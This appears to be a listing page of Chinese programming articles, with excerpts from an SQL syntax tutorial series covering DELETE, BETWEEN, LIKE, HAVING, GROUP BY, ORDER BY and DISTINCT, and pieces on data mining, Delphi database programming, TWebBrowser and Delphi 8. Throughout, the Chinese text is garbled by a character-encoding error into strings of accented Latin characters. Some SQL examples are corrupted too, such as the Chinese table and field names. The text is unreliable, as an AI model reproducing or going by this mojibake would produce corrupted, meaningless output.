    Ëæ×ÅÊý¾Ý¿â¼¼ÊõµÄ²»¶Ï·¢Õ¹¼°Êý¾Ý¿â¹ÜÀíϵͳµÄ¹ã·ºÓ¦Óã¬Êý¾Ý¿âÖд洢µÄÊý¾ÝÁ¿¼±¾çÔö´ó£¬ÔÚ´óÁ¿µÄÊý¾Ý±³ºóÒþ²Ø×ÅÐí¶àÖØÒªµÄÐÅÏ¢£¬Èç¹ûÄܰÑÕâЩÐÅÏ¢´ÓÊý¾Ý¿âÖгéÈ¡³öÀ´£¬½«Îª¹«Ë¾´´ÔìºÜ¶àDZÔÚµÄÀûÈ󣬶øÕâÖÖ´Óº£Á¿Êý¾Ý¿âÖÐÍÚ¾òÐÅÏ¢µÄ¼¼Êõ£¬¾Í³ÆÖ®ÎªÊý¾ÝÍÚ¾ò¡£    Êý¾ÝÍÚ¾ò¹¤¾ßÄܹ»¶Ô½«À´µÄÇ÷ÊÆºÍÐÐΪ½øÐÐÔ¤²â£¬´Ó¶øºÜºÃµØÖ§³ÖÈËÃǵľö²ß£¬±ÈÈ磬¾­¹ý¶Ô¹«Ë¾Õû¸öÊý¾Ý¿âϵͳµÄ·ÖÎö£¬Êý¾ÝÍÚ¾ò¹¤¾ß¿ÉÒԻشðÖîÈç¡°Äĸö¿Í»§¶ÔÎÒÃǹ«Ë¾µÄÓʼþÍÆÏú»î¶¯×îÓпÉÄÜ×÷³ö·´Ó¦£¬ÎªÊ²Ã´¡±µÈÀàËÆµÄÎÊÌâ¡£ÓÐЩÊý¾ÝÍÚ¾ò¹¤¾ß»¹Äܹ»½â¾öһЩºÜÏûºÄÈ˹¤Ê±¼äµÄ´«Í³ÎÊÌ⣬ÒòΪËüÃÇÄܹ»¿ìËÙµØä¯ÀÀÕû¸öÊý¾Ý¿â£¬ÕÒ³öһЩר¼ÒÃDz»Òײì¾õµÄ¼«ÓÐÓõÄÐÅÏ¢¡£    ÏÂÎĽ«¶ÔÊý¾ÝÍÚ¾òµÄ»ù±¾¼¼Êõ×÷Ò»¸ö¼òµ¥µÄ½éÉÜ¡£Êý¾ÝÍÚ¾òµÄ»ù´¡    Êý¾ÝÍÚ¾ò¼¼ÊõÊÇÈËÃdz¤ÆÚ¶ÔÊý¾Ý¿â¼¼Êõ½øÐÐÑо¿ºÍ¿ª·¢µÄ½á¹û¡£Æð³õ¸÷ÖÖÉÌÒµÊý¾ÝÊÇ´æ´¢ÔÚ¼ÆËã»úµÄÊý¾Ý¿âÖеģ¬È»ºó·¢Õ¹µ½¿É¶ÔÊý¾Ý¿â½øÐвéѯºÍ·ÃÎÊ£¬½ø¶ø·¢Õ¹µ½¶ÔÊý¾Ý¿âµÄ¼´Ê±±éÀú¡£Êý¾ÝÍÚ¾òʹÊý¾Ý¿â¼¼Êõ½øÈëÁËÒ»¸ö¸ü¸ß¼¶µÄ½×¶Î£¬Ëü²»½öÄܶԹýÈ¥µÄÊý¾Ý½øÐвéѯºÍ±éÀú£¬²¢ÇÒÄܹ»ÕÒ³ö¹ýÈ¥Êý¾ÝÖ®¼äµÄDZÔÚÁªÏµ£¬´Ó¶ø´Ù½øÐÅÏ¢µÄ´«..
  • [ Êý¾Ý¿â¿ª·¢ ] È«Ãæ½Ó´¥SQLÓï·¨(7)

    µã»÷£º2382¡¡·¢²¼ÈÕÆÚ£º11/03

    ±íµÄɾ³ý ¡¡¡¡¡¡DELETEÓï¾ä¡¡¡¡ÎÒÃÇ¿ÉÒÔÀûÓÃDELETEÓï¾ä£¬½«±í¸ñÖеļǼɾ³ý¡£(×¢Ò⣺¼Ç¼±»É¾³ýºó£¬ÎÞ·¨ÔÙ¸´Ô­£¬ËùÒÔÌõ¼þÉèÖÃÒªÕýÈ·)DELETE[table.*]FROM tableexpressionWHERE criteria tableÓûɾ³ý¼Ç¼µÄ±í¸ñÃû³Æ£¬Ò²¿ÉÒÔÓÃ*À´È¡´ú¡£ tableexpressionÒ»¸ö»òÒ»¸öÒÔÉϱí¸ñµÄÃû³Æ¡£´ËÒ»²ÎÊý¿ÉÒÔΪµ¥Ò»µÄ±í¸ñÃû³Æ»òÊÇ´ÓINNER JOIN£¬LEFT JOIN£¬»òRIGHTJOIN µÈÔËËãËùµÃµ½µÄ½á¹û¡£ criteria¾ö¶¨±í¸ñÖмǼҪ±»É¾³ýµÄ±ê×¼¡£¡¡¡¡ÀýÈ磺¡¡¡¡ÈôÊÇÎÒÃÇÒª½«Ö°Ô±±í¸ñÖÐÐÕÃûÐÕÃû½Ð×ö'ÀîÃû'µÄ¼Ç¼ɾ³ý£¬ÎÒÃÇ¿ÉÒÔÀûÓÃÏÂÃæµÄSQLÓï¾äÀ´Íê³É¡£¡¡¡¡DELETE * FROM Ö°Ô±±í¸ñ¡¡¡¡WHERE ÐÕÃû='ÀîÃû'; ¡¡ ¡¡¡¡Êý¾Ý¿â±í¸ñÏà¹ØµÄ²Ù×÷ÃüÁî¡¡¡¡SQL³ýÁË¿ÉÒÔ×÷Ϊ²éѯÓëÊý¾Ý¿â±í¸ñµÄ½¨Á¢µÄ¹¤¾ßÍ⣬¶ÔÓÚÊý¾Ý¿âÓë±í¸ñµÄн¨¡¢É¾ÐÞ¡¢Óëά»¤£¬Óë¾ßÓÐÏ൱²»´íµÄ¹¦ÄÜ£¬ÈôÊǶÁÕßʹÓÃSQLÃüÁîµÃÒË£¬¶ÔÓÚÕû¸öЧÂʵÄÌá¸ßÓÐןܴóµÄ°ïÖú£¬ËùÒÔ¶ÔÓÚSQLÓï¾äËù´øÀ´µÄÓÅÊÆ£¬³£³£»áÓöµ½Ò»¸öÇé¿ö£¬¾ÍÊÇ£º¡°µ±ÎÒÃǶԶà¸ö±í¸ñ×÷¸´ÔÓÓë¶à²½ÖèµÄ´¦Àíʱ£¬»òÐíSQLÖ»ÒªÒ»¸öÓï¾ä¾Í¿ÉÒÔÍê³ÉËùÓеÄÐèÇóÓëÄ¿±ê¡±£¬Õ§¿´Ò»Ï£¬»òÐí¾õµÃÓÐЩÐþÃµ«ÊǽÓÏÂÀ´µÄÕ½ڣ¬»áÈÃÄãÁ˽âÆäÖеÄÃî´¦¡£ ¡¡¡¡SELECT...INTOÓï¾ä¡¡¡¡ÎÒÃÇ¿ÉÒÔͨ¹ýÕâ¸öÃüÁ..
  • [ Êý¾Ý¿â¿ª·¢ ] È«Ãæ½Ó´¥SQLÓï·¨(5)

    µã»÷£º1208¡¡·¢²¼ÈÕÆÚ£º11/03

    BETWEEN...AND ÔËËã·û¡¡¡¡¾ö¶¨Ä³Ò»ÈËÊýÖµÊÇ·ñ½éÓÚÌØ¶¨µÄ·¶Î§Ö®ÄÚ£¬´ËÔËËã·ûÖ»¿ÉÒÔÓÃÔÚSQLµÄÓï¾äÖС£expr[Not]BETWEEN value1 AND value2 exprÖ¸¶¨Òª¼ÓÒÔ¼ÆËãµÄ×Ö¶ÎÓë±í´ïʽµÄ×éºÏ¡£ value1,value2ËùÖ¸Ã÷µÄÊýÖµ·¶Î§¡£ÀýÈ磺ÈôÊÇÒª´ÓÖ°Ô±±í¸ñ²éѯ³öËùÓÐÄêÁä½éÓÚ25-30ËêµÄÔ±¹¤£¬¿ÉÒÔÀûÓÃÏÂÃæµÄ³ÌÐòÀ´×ö¡£SELECT ÐÕÃû,ÄêÁä BETWEEN 25 AND 30FROM Ö°Ô±±í¸ñ£» ¡¡ ¡¡¡¡LIKE ²Ù×÷Êý¡¡¡¡ÓÃÀ´½«Ò»×Ö·û´®ÓëÁíÒ»ÌØ¶¨×Ö·û´®Ñùʽ(pattern)±È½Ï£¬²¢½«·ûºÏ¸Ã×Ö·û´®ÑùʽµÄ¼Ç¼¹ýÂ˳öÀ´¡£expression LIKE "pattern" expressionʹÓÃÔÚWHEREÌõ¼þ×Ӿ䣬SQL±í´ïʽ¡£ patternÓÃÒԱȽϵÄ×Ö·û´®Ñùʽ¡£ÀýÈ磺ÈôÊÇÄãÒª²éѯ³öËùÓÐÒÔ¡°ÀΪÊ×µÄÐÕÊÏ£¬¿ÉÒÔÀûÓÃÏÂÃæµÄʽ×Ó¡£Like "Àî*" LIKE²Ù×÷ÊýµÄ¶àÖÖ·¶Àý£º 1¡¢¶à¸ö×Ö·û£º (1)"a*a"¿Éɸѡ£º"aa","aBa","aBBBa"£¬²»ÄÜɸѡ£º"aBC"(2)"*ab*"¿Éɸѡ£º"abc","AABB","Xab"£¬²»ÄÜɸѡ£º"aZb","bac" 2¡¢ÌØÊâ×Ö·û£º"a¡°*¡±a"¿Éɸѡ£º"a*a"£¬²»ÄÜɸѡ£º"aaa" 3¡¢µ¥Ò»×Ö·û£º"a?a"¿Éɸѡ£º"aaa","a3a","aBa"£¬²»ÄÜɸѡ£º"aBBBa" 4¡¢µ¥Ò»Êý×Ö£º"a#a"¿Éɸѡ£º"a0a","a1a","a2a"£¬²»ÄÜɸѡ£º"aaa","a10a" 5¡¢×Ö·û·¶Î§£º"¡°a-z¡±"¿Éɸѡ£º"f","p","j"£¬²»ÄÜɸѡ£º"2","&a..
  • [ Êý¾Ý¿â¿ª·¢ ] È«Ãæ½Ó´¥SQLÓï·¨(4)

    µã»÷£º1340¡¡·¢²¼ÈÕÆÚ£º11/03

    HAVING Ìõ¼þ×Ӿ䡡¡¡Ö¸¶¨Ò»Ìض¨µÄ·Ö×é¼Ç¼£¬²¢Âú×ãHAVING ËùÖ¸¶¨µÄÌõ¼þ»ò״̬£¬µ«Ìõ¼þÊÇÕë¶Ô·Ö×éµÄÌõ¼þÉèÖá£SELECT fieldlistFROM tableWHERE selectcriteriaGROUP BY groupfieldlistHAVING groupcriteria fieldlistÏÔʾ±»²éѯµÄ×Ö¶ÎÃû³Æ¡£(¿ÉÓëALL£¬DISTINCT£¬DISTINCTROW£¬»òTOPÏà½áºÏ) tableÓû²éѯÊý¾ÝµÄ±í¸ñÃû³Æ¡£ selectcriteriaѡȡ±ê×¼¡£ groupfieldlist·Ö×é¼Ç¼µÄ×Ö¶ÎÃû³Æ£¬µ½¶à10¸ö×ֶΡ£¶øÕâЩ×ֶεÄ˳Ðò¾ö¶¨×î¸ßµ½×îµÍµÄ·Ö×é½×²ã¡£ groupcriteria¾ö¶¨Ê²Ã´ÑùµÄ·Ö×é¼Ç¼Ҫ±»ÏÔʾ¡£ HAVING¸úWHERE µÄÓ÷¨Ï൱ÀàËÆ£¬²»Í¬Ö®´¦ÔÚÓÚHAVING±ØÐëÓÃÓÚGROUPÖ®ºóµÄ·Ö×éÊý¾ÝÉÏ¡£ÀýÈ磺SELECT ·ÖÀà±à,Sum(¿â´æÊýÁ¿)FROM ²úÆ·±í¸ñGROUP BY ·ÖÀà±àºÅHAVING Sum(¿â´æÊýÁ¿)>100 AND ²úÆ·Ãû³Æ LIKE "*Ö½"£» ¡¡ ¡¡¡¡GROUP BY Ìõ¼þ×Ӿ䡡¡¡ÒÀ¾ÝÖ¸¶¨µÄ×ֶΣ¬½«¾ßÓÐÏàͬÊýÖµµÄ¼Ç¼ºÏ²¢³ÉÒ»Ìõ¡£SELECT fieldlistFROM tableWHERE criteriaGROUP BY groupfieldlist fieldlistÓû¶ÁÈ¡µÄ×Ö¶ÎÃû³Æ¡£(¿ÉÓëALL£¬DISTINCT£¬DISTINCTROW£¬»òTOPºÏ²¢Ê¹ÓÃ) table±»²éѯµÄ±í¸ñÃû³Æ¡£ groupfieldlist·Ö×é¼Ç¼µÄ×Ö¶ÎÃû³Æ£¬µ½¶à10¸ö×ֶΣ¬¶øÕâЩ×ֶεÄ˳Ðò¾ö¶¨×î¸ßµ½×îµÍµÄ·Ö×é²ã´Î¡£ÀýÈ磺SELECT ÐÕÃû,..
  • [ Êý¾Ý¿â¿ª·¢ ] È«Ãæ½Ó´¥SQLÓï·¨(3)

    µã»÷£º1246¡¡·¢²¼ÈÕÆÚ£º11/03

    ¡¡¡¡ORDER BYÌõ¼þÓï¾ä¡¡¡¡´ËÌõ¼þ×Ӿ䣬ͨ³£ÓëSELECTÓï¾äºÏ²¢Ê¹ÓÃÄ¿µÄÊǽ«²éѯµÄ½á¹û£¬ÒÀÕÕÖ¸¶¨×ֶμÓÒÔÅÅÐò¡£¡¡¡¡SELECT fieldlist¡¡¡¡FROM table¡¡¡¡WHERE selectcriteria¡¡¡¡ORDER BY field[ASC|DESC][,field2[ASC|DESC][,...]] ¡¡¡¡fieldlist¡¡¡¡Óû²éѯµÄ×Ö¶ÎÃû³Æ¡£ÆäÖпÉÒÔÓëALL£¬DISTINCT£¬DISINCTROW£¬»òTOPÒ»ÆðÀ´Ê¹Óᣠ¡¡¡¡table¡¡¡¡Óû²éѯµÄ±í¸ñÃû³Æ¡£ ¡¡¡¡selectcriteria¡¡¡¡²éѯµÄ±ê×¼ÉèÖᣠ¡¡¡¡field1¡¡¡¡Ö¸¶¨ÒªÒÀÕÕÄǸö×Ö¶Î×÷ΪÅÅÐòµÄÒÀ¾Ý£¬ÈôÊÇÄãûÓмÓÉÏORDER BY²éѯ³öµÄÊý¾Ý¼¯½«²»»á×÷ÅÅÐòµÄ²Ù×÷¡£ ¡¡¡¡ASC¡¡¡¡µÝÔö˳ÐòÀà±ð¡£(ĬÈÏÖµ) ¡¡¡¡DESC¡¡¡¡µÝ¼õ˳ÐòÀà±ð¡£¡¡¡¡ÀýÈ磺¡¡¡¡»òÊÇÎÒÃÇÒª½«Êä³öÊý¾ÝÒÀ¾Ý³öÉúµÄÏȺó´ÎÐòÅÅÁУ¬¿ÉÒÔÀûÓÃÏÂÃæµÄÃüÁî¡£¡¡¡¡SELECT ÐÕÃû£¬ÉúÈÕ¡¡¡¡FROM Ö°Ô±±í¸ñ¡¡¡¡ORDER BY ÉúÈÕ¡¡¡¡SELECT LastName,FirstName¡¡¡¡FROM Employees¡¡¡¡ORDER BY LastName ASC; ¡¡¡¡IN Ìõ¼þ×Ӿ䡡¡¡Ö¸¶¨ÒªËÙʤÄÄÒ»¸öÍⲿÊý¾Ý¿âµÄ±í¸ñ¡£(±ØÐëÊÇMicrosoft JetÊý¾Ý¿âÒýÇæËù¿ÉÒÔÁ¬½ÓµÄÊý¾Ý¿â£¬ÈçdBase,ParadoxµÈµÈ)¡¡¡¡SELECT|INSERT]INTO destination IN{path|["path" "type"]|[""[type;DATABASE=path]]}FROM tableexpression IN{path|["path" "type"]|[..
  • [ Êý¾Ý¿â¿ª·¢ ] È«Ãæ½Ó´¥SQLÓï·¨(2)

    µã»÷£º1556¡¡·¢²¼ÈÕÆÚ£º11/03

    ÀýÈçÏÂÃæÕâÁ½¸öÀý×Ó½«»á¾ßÓÐÏàͬµÄЧ¹û£¬¶¼»á´ÓÖ°Ô±±í¸ñÖзµ»ØËùÓÐ×ֶεÄÊý¾Ý¡£¡¡¡¡ÀýÈ磺¡¡¡¡ÈôÊÇÎÒÃÇÒª²éѯ³öÖ°Ô±±í¸ñÖеÄËùÓмǼ£¬¿ÉÒÔͨ¹ýÏÂÃæµÄÓï¾äÀ´Íê³É¡£SELECT ALL* FROM Ö°Ô±±í¸ñ; DISTINCT¡¡¡¡ ¡¡¡¡¶Ôij¸ö±í¸ñËùÑ¡ÔñµÄ×Ö¶ÎÊý¾Ý£¬ÂÔ¹ýÖØ¸´µÄÇé¿ö£¬Ò²¾ÍÊÇ˵£¬Õë¶Ôij¸ö×ֶβéѯ³öÀ´µÄ¼Ç¼½á¹ûÊÇΨһµÄ¡£ÀýÈçÓÐÐí¶à´æ·ÅÔÚÖ°Ô±±í¸ñµÄÖ°Ô±¡¡¡¡Êý¾Ý£¬Ò²Ðí»á¾ßÓÐÏàͬµÄÐÕÃû£¬ËùÒÔÈôÊÇÎÒÃÇÓÃSQLÓï¾äÖеÄSELECT DISTINCT£¬Ôò²éѯ³öÀ´µÄ½á¹û½«»áÕë¶Ô²»Ò»ÑùµÄÐÕÃû¼ÓÒÔɸѡ¡£ÈôÊÇÄú°Ñ¡¡¡¡DISTINCT ¼ÓÒÔÊ¡ÂÔ£¬ÔòÕâÑùµÄ²éѯ»áÏÔʾËùÓеļǼ¡£ ¡¡¡¡DISTINCTROW¡¡¡¡½«ÕûÌõ¼ÇÂ¼ÖØ¸´µÄ¼Ç¼ºöÂÔµô£¬¶ø²»ÊÇÖ»ÓÐÕë¶Ôijһ¸ö×ֶεÄÊý¾Ý¡£ ¡¡¡¡table¡¡¡¡Ö¸¶¨²éѯ¼Ç¼ËùÐèÒªµÄ±í¸ñ¡£¡¡¡¡ÀýÈ磺¡¡¡¡SELECT DISTINCTROW ¹«Ë¾Ãû³Æ¡¡¡¡FROM ¹Ë¿Í±í¸ñ INNER JOIN ¶©µ¥±í¸ñ¡¡¡¡ON ¹Ë¿Í±í¸ñ.¹Ë¿ÍID£½¶©µ¥±í¸ñ.¹Ë¿ÍID¡¡¡¡ORDER BY ¹«Ë¾Ãû³Æ;¡¡¡¡Èç¹ûÄúºöÂÔ DISTINCTROW Ôò»á¶Ôÿ¸ö¹«Ë¾²úÉúÒ»ÐÐÒÔÏµĶ©µ¥Êý¾Ý¡£´ËÍ⣬ÈôÊÇDISTINCTROWÖ»ÓÐÓÃÔÚÒ»¸ö±í¸ñµ±ÖУ¬Ôò»á±»Ê¡ÂÔµô¡£ ¡¡¡¡TOP¡¡¡¡´ÓµÚÒ»Ìõ»ò×îºóÒ»Ìõ¿ªÊ¼£¨ÀûÓÃORDER BYÌõ¼þ×Ӿ䣩£¬·µ»ØÌض¨ÌõÊýµÄÊý¾Ý¡£¡¡¡¡ÀýÈ磺¡¡¡¡µ±ÄúÏëÒªÖªµÀÔÚ2000Ä꣬°à..
  • [ Êý¾Ý¿â¿ª·¢ ] È«Ãæ½Ó´¥SQLÓï·¨(1)

    µã»÷£º2139¡¡·¢²¼ÈÕÆÚ£º11/03

    SQL¹¦ÄÜÓëÌØÐÔ¡¡¡¡Æäʵ£¬ÔÚÇ°ÃæµÄÎÄÕÂÖУ¬ÒѾ­Ìá¼°SQLÃüÁîµÄһЩ»ù±¾¹¦ÄÜ£¬È»¶ø£¬Í¨¹ýSQLÃüÁ³ÌÐòÉè¼ÆÊ¦»òÊý¾Ý¿â¹ÜÀíÔ±£¨DBA£©¿ÉÒÔ£º¡¡¡¡£¨Ò»£©½¨Á¢Êý¾Ý¿âµÄ±í¸ñ¡££¨°üÀ¨ÉèÖñí¸ñËù¿ÉÒÔʹÓÃÖ®¿Õ¼ä£©¡¡¡¡£¨¶þ£©¸Ä±äÊý¾Ý¿âϵͳ»·¾³ÉèÖᣡ¡¡¡£¨Èý£©Õë¶Ôij¸öÊý¾Ý¿â»ò±í¸ñ£¬ÊÚÓèÓû§´æÈ¡È¨ÏÞ¡£¡¡¡¡£¨ËÄ£©¶ÔÊý¾Ý¿â±í¸ñ½¨Á¢Ë÷ÒýÖµ¡£¡¡¡¡£¨Î壩ÐÞ¸ÄÊý¾Ý¿â±í¸ñ½á¹¹¡££¨Ð½¨¡¢É¾³ý»òÊÇÐ޸ıí¸ñ×ֶΣ©¡¡¡¡£¨Áù£©¶ÔÊý¾Ý¿â½øÐÐÊý¾ÝµÄн¨¡£¡¡¡¡£¨Æß£©¶ÔÊý¾Ý¿â½øÐÐÊý¾ÝµÄɾ³ý¡£¡¡¡¡£¨°Ë£©¶ÔÊý¾Ý¿â½øÐÐÊý¾ÝµÄÐ޸ġ£¡¡¡¡£¨¾Å£©¶ÔÊý¾Ý¿â½øÐÐÊý¾ÝµÄ²éѯ¡£¡¡¡¡Õ⼸Ïî±ãÊÇͨ¹ýSQLÃüÁî¿ÉÒÔÍê³ÉµÄÊÂÇ飬¿´ÆðÀ´ÊDz»ÊÇ±ÈÆð¡°²éѯ¡±Á½¸ö×ÖËù´ú±íµÄ¹¦ÄÜÒª¶àµÄ¶àÁËÄØ£¿ ¡¡¡¡SQLÓï·¨µÄ·ÖÀà¡¡¡¡ÆäʵSQLÃüÁî²¢²»ÊǷdz£¶à£¬¿ÉÊÇÒª°ÑSQLÓõ½³öÉñÈ뻯£¬È´Ò²Ö»ÐèÒª¶Ì¶Ì¼¸¸öÃüÁî±ã¹»£¬ÒòΪSQLÃüÁîÊÇÕë¶Ô¹ØÏµÐÍÊý¾Ý¿âËù½¨Á¢³öÀ´µÄÓï·¨ÐðÊö£¬ËùÒÔSQLÔÚÕâÀàÊý¾Ý¿âÖÐËù·¢»ÓµÄ¹¦Äܷdz£µÄÇ¿£¬ÒÔϽ«Õë¶ÔÔÚVBÖг£ÓõÄSQLÓï·¨»ù±¾ÃüÁî¼ÓÒÔ·ÖÀà½éÉÜ¡£ÔÚ˵Ã÷SQLµÄÃüÁîÒÔ¼°Ê¹ÓÃÓ﷨֮ǰ£¬ÒÔϽ«SQL×öÁ˵ķÖÀ࣬ÔÚÖÂÉÏSQLÓï·¨ËùʹÓõ½µÄÀàÐÍ£¬¿ÉÒÔ˵¶¼ÒѰüº¬ÔÚÕâЩÀà±ðµ±ÖС£ ¡¡¡¡µÚÒ»Àà¡¢ÊôÐÔ´Ê£¨Predicates£©¡¡¡¡ÔÚSQLÃüÁî..
  • [ Êý¾Ý¿â¿ª·¢ ] ¾«Í¨Êý¾Ý¿âϵÁÐÖ®ÈëÃÅ-¼¼ÇÉÆª4

    µã»÷£º1727¡¡·¢²¼ÈÕÆÚ£º09/26

    Êý¾Ý¿â±à³ÌʾÀý¡¡¡¡    ¡¡¡¡ÔÚ±¾´Î½²×ùÖУ¬ÎÒÃÇÒÔDelphi5Ϊ¿ª·¢¹¤¾ß£¬±ê×¼µÄparadox±íΪºǫ́Êý¾Ý¿â£¬À´Ïò´ó¼Ò½éÉÜÈçºÎ½øÐÐ×î¼òµ¥µÄÊý¾Ý¿â±à³Ì¡£ÔÚ±¾ÀýÖУ¬ÎÒÃǽ«ÊµÏÖ¶ÔÒ»¸öÊý¾Ý±íµ¥µÄÌí¼Ó¡¢Ð޸ġ¢É¾³ýÒÔ¼°¶Ô±íÖÐÊý¾Ý½øÐвéѯµÄ¹¦ÄÜ¡£ ¡¡¡¡±¾ÀýËùʹÓõļÆËã»úÈíÓ²¼þ»·¾³Îª£ºWindows NT 4.0 Server£¬Borland Delphi 5£¬PIII550£¬256MÄÚ´æ¡£µ±È»À²£¬Ò»°ãµÄÅóÓÑÔÚWin98µÄ»·¾³Ï»òÕßWin2000µÄ»·¾³Ï¶¼¿ÉÒÔ°´ÕÕ±¾ÀýµÄ²½ÖèÀ´±à³ÌÐòµÄ¡£±ÊÕߵĻúÆ÷Ö÷ÒªÓÃ×÷·þÎñÆ÷£¬ËùÒÔ¾ÍÔÚ·þÎñÆ÷ÉϱàÀ²¡£·Ï»°ÉÙ˵£¬ÏÖÔÚ¿ªÊ¼£º ¡¡¡¡ÔÚÕýʽ±àд³ÌÐò֮ǰҪÓÐÐí¶à×¼±¸¹¤×÷£¬Õ⵱Ȼ°üÀ¨Borland Delphi 5µÄ°²×°¡£Delphi5×ÔÉí´øÁ˶Աê×¼Êý¾Ý±íparadoxµÄÇý¶¯£¨ºÍһЩfoxϵÁÐÊý¾Ý¿âÈí¼þµÄ.dbÎļþÊǼæÈݵģ¬ÕâЩÎļþ¶¼¿ÉÒÔÓÉDelphiÖ±½Ó¶ÁÈ¡£©¡£ ¡¡¡¡³ÌÐò±àдµÄµÚÒ»²½Ê×ÏÈÊÇÊý¾Ý±í£¨¼´.dbÎļþ£©µÄ½¨Á¢¡£ÔÚÕâÒ»²½ÒªÓõ½Delphi×Ô´øµÄÒ»¸ö¹¤¾ß½ÐDatabase Desktop¡£Õâ¸ö¹¤¾ßÖ÷ÒªÓÃÀ´¶Ô±í¸ñ½øÐвÙ×÷£¬Ëü²»½ö¿ÉÒÔ²Ù×÷Ïñ.dbÎļþÕâÑùµÄ±ê×¼±í¸ñ£¬»¹¿ÉÒÔ·ÃÎÊÏñOracle¡¢SQL ServerµÈ´óÐÍÊý¾Ý¿âµÄÎļþ£¬¹¦ÄÜ¿ÉÒÔ˵ÊǺÜÇ¿´óµÄ¡£´ò¿ªDatabase Desktop£¬Ñ¡ÔñFile£­New£­Table£¬È»ºóÑ¡Ôñparadox7£¬³öÏÖÈçϽçÃæ£º..
  • [ ] TWebBrowserµÄ»ù±¾Ó¦ÓÃ

    µã»÷£º1119¡¡·¢²¼ÈÕÆÚ£º08/29

            Å¼È»µÄ»ú»áÐèҪʹÓÃTWebBrowser£¬ÔÚ¿ª·¢¹ý³ÌÖÐÉæ¼°µ½Ò»Ð©±È½Ï²»·ôdzµÄ¶«Î÷£¬ÓÚÊÇÃâ²»ÁËËÑ×ÊÁÏ£¬·­CSDNµÄÌû×Ó£¬ÖÕÓÚ°ÑÒª×öµÄ¶«Î÷×÷Á˳öÀ´£¬Í¬Ê±¶ÔÓÚTWebBrowserÒ²ÓÐÁ˳õ²½µÄÁ˽⡣ͬʱ¿´µ½ºÜ¶àCSDNÉϵIJ»ÉÙÅóÓÑÒ²ÔÚTWebBrowserÉÏ´æÔںܶàÒÉÎÊ£¬ÓÚÊǰÑ×Ô¼ºÕâ¶Îʱ¼äËùµÃµÄÄóöÀ´Óë´ó¼Ò·ÖÏí¡£»¹ÊÇÄǾ仰£¬±¾ÈËˮƽºÜÍÝ£¬ËµµÄ²»¶ÔµÄ»°¾´ÇëÖ¸³ö£¬²»Òª¿ÍÆø£¬·ñÔò²»µ«ÎÒ×Ô¼ºÑ§´íÁ˶«Î÷£¬Ò²Èÿ´ÕâÆªÎÄÕµÄÈËÎóÈëÆç;¡£·Ï»°ÉÙ˵ÕýÎÄ¿ªÊ¼¡£ Ê×ÏÈÎÒÃÇÒªÈÏʶµ½TWebBrowserÆäʵÊÇDelphi¶ÔInternet Explorer BrowserµÄ·â×°£¬Ò²¾ÍÊÇ˵ËüÊÇÒ»¸öActiveX¿Ø¼þ£¬¿´¹ýTWebBrowser´úÂëµÄÅóÓѻᷢÏÖÕâ¸ö¿Õ¼äµÄËùÓз½·¨µÄʵÏÖ²¿·Ö¶¼µ÷ÓÃÁËDefaultInterfaceµÄ·½·¨£¬¶øTWebBrowserµÄÕâ¸öÊôÐÔÊÇÒ»¸öIWebBrowser2½Ó¿ÚÀàÐ͵ĶÔÏó£¬Õâ¸ö½Ó¿Ú¾ÍÊÇIEµÄ½Ó¿Ú¡£ÎÒÃÇÔÚʹÓÃTWebBrowser´úÌæIEä¯ÀÀÆ÷µÄÄ¿µÄ´ó²¿·ÖÊÇΪÁËÄܹ»ÈóÌÐò´¦ÀíÒ³Ãæ£¬ÊµÏÖ×Ô¶¯¶ÔWebApplicationµÄÇëÇó£¬ËùÒÔÎÒÃÇÊ×ÏÈÏëµÃµ½µÄ¾ÍÊÇTWebBrowserËùä¯ÀÀµÄÄÚÈÝ¡£TWebBrowserµÄDocumnetÊôÐÔÕýÊÇÕâÒ»ÄÚÈÝ£¬DocumentÆäʵÊÇÒ»¸öIHTMLDocument2£¬µ«ÊÇËü±»ÉùÃ÷ΪIDispatch½Ó¿ÚÀàÐÍ£¬ÎÒÃÇÐèÒª°ÑËüת»¯ÎªIHTM..
  • [ ] 2003-11-03 Borland ·¢²¼ Delphi 8 for .NET

    µã»÷£º288¡¡·¢²¼ÈÕÆÚ£º08/29

    еĿª·¢»·¾³ÎªDelphi¿ª·¢Õß¼ò»¯ÁËתÏò.NET¿ò¼ÜµÄ·½Ê½ 2003 Borland¿ª·¢Õß´ó»á£¬Ê¥ÇÇÖΣ¬¼ÓÀ︥ÀïÑÇÖÝ ¨C 2003Äê11ÔÂ3ÈÕ£ºBorlandÈí¼þ¹«Ë¾£¨ÄÉ˹´ï¿Ë´úÂ룺BORL£©½ñÌìÐû²¼ÍƳöBorland Delphi 8 for the Microsoft .NET Framework¡£Ð°汾µÄDelphiµÄÉè¼ÆÄ¿µÄÊÇÈÃDelphi¿ª·¢ÕßÄܹ»´´½¨»ùÓÚ.NET¿ò¼ÜµÄÓ¦Ó㬲¢ÇÒ¿ÉÒÔÒÆÖ²ÏÖ´æµÄWin32 Delphi³ÌÐòµ½.NET¿ò¼ÜÉÏ¡£ÓÉÓÚ»ùÓÚ.NET¿ò¼ÜµÄ¿ª·¢Ô½À´Ô½¶à£¬ÕâÖÖ´ÓWin32µ½.NETµÄ×ªÒÆÕý±äµÃÔ½À´Ô½ÖØÒª¡£¸ù¾ÝÐÐÒµ·ÖÎö¹«Ë¾Gartner¼¯Íŵı¨¸æ£¬µ½2004ÄêÖÐÆÚ£¬´ó¶àÊýÖ÷Á÷×éÖ¯¶¼ÆÚÍû²ÉÈ¡Ðж¯£¬°ÑÄÇЩµ½2007Ä껹ÐèҪʹÓõÄWin32Ó¦ÓÃÓëCOMÓ¦Óã¬ÒÆÖ²µ½Î¢ÈíµÄ.NET¿ò¼ÜÉÏ¡£ ¡°Î¢Èí¶ÔÓÚ¿ª·¢ÕßµÄÕ½ÂÔ·½Ïò¾ÍÊDZ»ÍйܴúÂ롪½¨ÔìÔÚ½ñÌìµÄ.NET¿ò¼ÜÉÏÒÔ¼°ÏÂÒ»´úWindows 'Longhorn'µÄWinFXÉÏ¡£¡±Î¢Èí¹«Ë¾¿ª·¢ÕßÓëÆ½Ì¨Ðû´«²¿ÃŵÄÖ÷¹ÜJohn Montgomery˵¡£¡°×Ô´ÓBorland 1995Äê·¢²¼DelphiµÄµÚÒ»¸ö°æ±¾ÒÔÀ´£¬Delphi¿ª·¢Õß¾ÍÒ»Ö±ÊÇWindows¿ª·¢ÕßÉçȺÖеÄÁìÏÈÕß¡£ÏÖÔÚ£¬Ëæ×ÅDelphi8µÄÃæÊÀ£¬BorlandÇå³þµØÃè»æÁËDelphi¿ª·¢Î´À´µÄ·½Ïò£¬Í¬Ê±ÈÃÒÆÖ²µ½±»ÍйܴúÂëµÄ¹¤×÷Ò²±äµÃ¸ü¼ÓÈÝÒ×ÁË¡£¡± 